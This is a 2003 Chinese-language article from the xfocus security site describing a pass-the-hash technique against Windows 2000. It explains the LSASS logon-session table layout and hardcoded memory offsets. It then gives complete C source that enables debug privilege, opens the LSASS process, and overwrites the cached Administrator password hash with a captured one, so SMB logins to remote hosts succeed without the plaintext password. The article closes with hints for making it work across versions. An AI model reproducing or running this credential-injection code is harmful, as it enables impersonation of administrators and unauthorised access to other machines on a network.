xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

利用系统机理,直接使用密码散列认证


创建时间:2003-05-23
文章属性:原创
文章提交:flashsky (flashsky1_at_sina.com)

利用系统机理,直接使用密码散列认证
转摘请注明作者和安全焦点
作者:FLASHSKY
SITE:WWW.XFOCUS.NETWWW.SHOPSKY.COM
邮件:flashsky@xfocus.org
作者单位:启明星辰积极防御实验室

   在很多时候,我们获得密码散列之后你会怎么办?大多数的人会选择使用如LC4这样的工具进行散列的解密,这样就是依靠对方口令的复杂性不够复杂,如果遇见复杂的口令,又如何利用散列呢?
   通过SMB认证协议我们知道,认证是散列加密的,所以知道散列是能够获得认证的,但是麻烦 在于系统本身提供的SMB调用很少,要实现散列认证就不仅仅需要知道散列加密的认证算法,而且要自己完全实现SMB协议和其包含的RPC协议(以我目前的研究我也还只能实现文件读写操作),这很困难,如果需要用到所有的可能SMB的功能就需要很大的工作量。SMBPROXY就是通过SMB协议中的散列加密方式和代理来实现的。有没有其他更好,更简单的途径呢?答案是有的:
    那么另2种想法就是:
    1。创建一个使用此散列的同名用户,但你不知道其散列无法使用口令登陆。当然如果你能以超级用户用RUNAS等启动这个用户权限运行的进
程 ,然后使用AcquireCredentialsHandleW传送此用户的令牌,也可以,但是显然MS考虑到这个问题,即使用特权用户用RUNAS或服务启动其他
用户权限的进程都必须首先输入明文口令才允许运行。
    2。制造一个假的带知道自己散列的凭证
     那么我们首先介绍一下NET USE成功以后创建凭证和再次认证的过程:
     对于输入口令,则通过调用LPCAPILOG将这个认证记录,包含主机地址,用户名,和明文口令,当再次认证(SMB是基于SOCKET口认证的,当需要一个新的SOCKET连接的时候都会重认证,只是这过程是系统自动完成的,你自己感觉不到而已,这也是SMB协议认证工具必须使用依靠自己解析完整的SMB的原因所在,无法创建凭证其他程序就无法使用已经认证的端口)就从这当中读取明文口令再计算成散列,进行认证,要制造一个假的凭证看来我们就必须知道明文口令。
     在MS的严密设计下,看来我们无路可走了,但是我们再考虑一下系统用户认证的方式呢?
     系统用户认证的时候,是直接读取散列进行加密处理的,具体的处理程序是在LSASS进程中LsapGetPackageCredentials函数负责。
     那么一个想法是修改自己用户的SAM中的散列,但是发现口令散列的修改只到下一次登陆后才能起作用,可见系统在登陆以后就把散列信息都读出到内存中。
     但是联想到我们系统连接一个远程机器的时候,会自动先使用这个用户的散列连接,这个散列从那里而来呢,他就在LSASS进程中的一个SESSION表中,那么我们想法修改内存中放置系统用户的SESSION表又如何呢?呵呵,这样就能实现我们既可以完全利用密码散列的系统所有功能了。
    方法如下:
    创建一个和你知道散列用户同名的用户,设置成特权用户,口令随便
        以该用户登陆,运行一个程序修改系统内存中的SESSION表对应用户的散列
        然后就可以直接使用远程IP地址和这个用户连接了,如直接输入IP地址到地址栏读取对方文件等。

    那么首先需要讲解一下LSASS中SESSION表的存放结构,我的环境是中文简体W2K+SP3
    在LSASS进程地址的0X785AFEF8变量中存放LogonSessionTable的地址
    这个地址是指向一张SESSION表,每个表占用0X34个字节,
    每个项的偏移0X10是一个指针,指向一个结构,这个结构的偏移0X10又是一个指针,指向另一个结构,这个结构的偏移0X38又是一个指针,指向又一个结构(很拗口啊),这个结构的偏移0X8又是一个指针,指向另一个结构,这个结构的偏移0X10又是一个指针,指向真正的用户凭证的SESSION信息,这个信息结构如下:
{
WORD 主机名长度
WORD 主机名长度(带,STR结尾)
DWORD 主机名开始偏移
WORD 用户名长度
WORD 用户名长度(带,STR结尾)
DWORD 用户名开始偏移
BYTE 散列[0X20]
偏移地址开始
WSTR 主机名
WSTR 用户名
}
我们修改这个结构中的散列成我们获取的散列,系统SMB认证的时候就会读取这个散列的信息,剩下就。。。。。

代码演示:
# include <windows.h>
# include <wincrypt.h>
#define SECURITY_WIN32
# include <Security.h>
# include <Ntsecapi.h>
#include <stdio.h>
#include <stdlib.h>

TOKEN_STATISTICS ts;
CredHandle phc;
CtxtHandle cthc;
SECURITY_STATUS   ss;

void client1();

void ChangePrivilege(HANDLE pmy,char * PrivilegeVal)
{
    int isok;
    TOKEN_PRIVILEGES NewState;
    HANDLE hToken;
    NewState.PrivilegeCount=1;
    NewState.Privileges[0].Attributes=2;
    NewState.Privileges[0].Luid.HighPart=0;
    NewState.Privileges[0].Luid.LowPart=0;
    isok=LookupPrivilegeValue(0,PrivilegeVal,&NewState.Privileges[0].Luid);
    isok=OpenProcessToken(pmy,0x20,&hToken);
    isok=AdjustTokenPrivileges(hToken,0,&NewState,0x10,0,0);
    CloseHandle(hToken);
}

void main(int argc,char * argv[])
{
    DWORD ret;
    HANDLE pmy;
    HANDLE p1;
    DWORD wtn;
    int err;
    DWORD saddr,saddr1;
    int offset;
    int i,j,len;
    unsigned char buf[0x1000];
    unsigned char buf1[0x100];
    unsigned char passwdhash[]={
        0xf9,0x8d,0x8e,0x5e,0x22,0xf9,0xe2,0x5e,0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xEe,
        0x12,0x22,0x73,0x58,0xdd,0x70,0x13,0xc7,0xdb,0xdb,0xd8,0xfd,0xcc,0x0c,0x66,0x68
        };
    //wchar_t username[]=L"Administrator";
    wchar_t myname[]=L"Administrator";
    //int tlen=0x1A;
    int ulen=0x1a;

    client1();
    pmy = GetCurrentProcess();
    ChangePrivilege(pmy,SE_DEBUG_NAME);
    p1=OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_READ|PROCESS_VM_WRITE,FALSE,252);

    ret = DebugActiveProcess(252);
    if(ret==0)
    {
        ret = GetLastError;
        printf("don't access process:%d\n",ret);
        return;
    }
    ret = ReadProcessMemory(p1,(PVOID)0X785AFEF8,buf,0x4,&wtn);    
    if(ret==0xc0000005)
    {
        printf("read memory fail\n");
        return;
    }
    saddr=*(DWORD *)buf;//这里存放的就是所有SESSION的地址
    //寻找自己的SESSION信息
    ret = ReadProcessMemory(p1,(PVOID)saddr,buf,0x1000,&wtn);    
    for(i=0;i<0x4e;i++)   //每个SESSION结构占0X34大小,0X1000可以有0X4E个
    {
        saddr1=*(DWORD *)(buf+0x34*i+0x10);
        if(saddr1>0)
        {
            ret = ReadProcessMemory(p1,(PVOID)saddr1,buf1,0x14,&wtn);    
            if(ret!=0xc0000005)
            {
                saddr1=*(DWORD *)(buf1+0x10);
                if(saddr1>0)
                {
                    ret = ReadProcessMemory(p1,(PVOID)saddr1,buf1,0x40,&wtn);    
                    if(ret!=0xc0000005)
                    {
                        saddr1=*(DWORD *)(buf1+0x38);
                        if(saddr1>0)
                        {
                            ret = ReadProcessMemory(p1,(PVOID)saddr1,buf1,0xc,&wtn);    
                            if(ret!=0xc0000005)
                            {
                                saddr1=*(DWORD *)(buf1+0x8);
                                if(saddr1>0)
                                {
                                    ret = ReadProcessMemory(p1,(PVOID)saddr1,buf1,0x14,&wtn);
                                    if(ret!=0xc0000005)
                                    {
                                        saddr1=*(DWORD *)(buf1+0x10);
                                        if(saddr1>0)   //这个地址才是真的散列存放的地址
                                        {
                                            ret = ReadProcessMemory(p1,(PVOID)saddr1,buf1,0x100,&wtn);
                                            //验证一下此ID等于自己的ID
                                            err=0;
                                            if(ret!=0xc0000005)
                                            {
                                                len=*(short *)(buf1+8);
                                                offset=*(short *)(buf1+0xc);
                                                if(len==ulen)
                                                {
                                                    /*for(j=0;j<ulen/2;j++)
                                                    {
                                                        if(myname[j]!=buf1[offset+2*j]+buf1[offset+2*j+1]*256)
                                                        {
                                                            err=1;
                                                            break;
                                                        }
                                                    }*/
                                                    if(err==0)
                                                    {
                                                        memcpy(buf1+0x10,passwdhash+0x10,0x10);
                                                        memcpy(buf1+0x20,passwdhash,0x10);
                                                        //*(short *)(buf1+8)=tlen;
                                                        //*(short *)(buf1+0xa)=tlen+2;
                                                        //memcpy(buf1+offset,username,tlen+2);
                                                        ret = WriteProcessMemory(p1,(PVOID)saddr1,buf1,0x100,&wtn);    
                                                        if(ret==0xc0000005)
                                                        {
                                                            printf("write memory fail\n");
                                                        }
                                                        ret = ReadProcessMemory(p1,(PVOID)saddr1,buf1,0x100,&wtn);
                                                    }
                                                    break;
                                                }
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }
    CloseHandle(p1);
//    DebugSetProcessKillOnExit(FALSE);
//    ret = DebugActiveProcessStop(atoi(argv[1]));
    return;
}

void client1()
{
    LUID LogonID;
    HANDLE tk;
    char buf1[0x200];
    TimeStamp Lifetime;
    DWORD ContextAttributes;
    DWORD rlen;
        
    SecBufferDesc     OutBuffDesc;
    SecBufferDesc     InBuffDesc;
    SecBuffer         InSecBuff;
    SecBuffer         OutSecBuff;
    LogonID.HighPart =0;
    LogonID.LowPart = 0x7d80;

    //输入的口令在此需要CRT
    //自动的则不需要
    OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &tk);
    GetTokenInformation(tk,TokenStatistics,&ts,sizeof(ts),&rlen);

    ss=AcquireCredentialsHandleW
        (NULL,L"Negotiate",SECPKG_CRED_OUTBOUND,&ts.AuthenticationId,NULL,NULL,NULL,&phc,&Lifetime);
    //LOGIN会影响生成
    InBuffDesc.ulVersion = 0;
    InBuffDesc.cBuffers = 1;
    InBuffDesc.pBuffers = &InSecBuff;
    InSecBuff.BufferType =SECBUFFER_TOKEN;
    InSecBuff.cbBuffer =0;
    InSecBuff.pvBuffer = buf1;
    OutBuffDesc.ulVersion = 0;
    OutBuffDesc.cBuffers = 1;
    OutBuffDesc.pBuffers = &OutSecBuff;
    OutSecBuff.BufferType = SECBUFFER_TOKEN;
    OutSecBuff.cbBuffer =0x404c;
    OutSecBuff.pvBuffer = buf1;
    ss=InitializeSecurityContextW(
            &phc,
            NULL,
            L"HOST/TEST",
            ASC_REQ_MUTUAL_AUTH|ASC_REQ_DELEGATE|ASC_REQ_STREAM|ASC_REQ_ALLOW_NON_USER_LOGONS,//0x210003
            0,
            SECURITY_NATIVE_DREP,
            &InBuffDesc,
            0,
            &cthc,
            &OutBuffDesc,
            &ContextAttributes,
            &Lifetime
            );
}

此种方法的优点:
1。主要是依据系统使用当前用户认证的系统机理而不是靠SMB协议的机理,这样可以完全实现所有的系统功能,如果是SMB协议实现的话
由于SMB的认证是基于SOCKET口的,凭证创建需要明文口令,无法使其他系统程序如带PRC调用的程序使用此认证,只有依靠实现此认证的
程序实现,除非实现一个完全的SMB协议客户端,功能受限制
2。无须各种代理,简单容易实现,也很安全,也不受任何对方关闭认证协议的限制,系统自动完成这些。


通用化的考虑,但是毕竟这个0X785AFEF8可能随系统版本不同而不同,但这些信息是存放在堆中的,可以读取LSASS的内存信息,然后搜索这些内存
中你现在口令的散列方式来实现通用化,就不再详细解说了。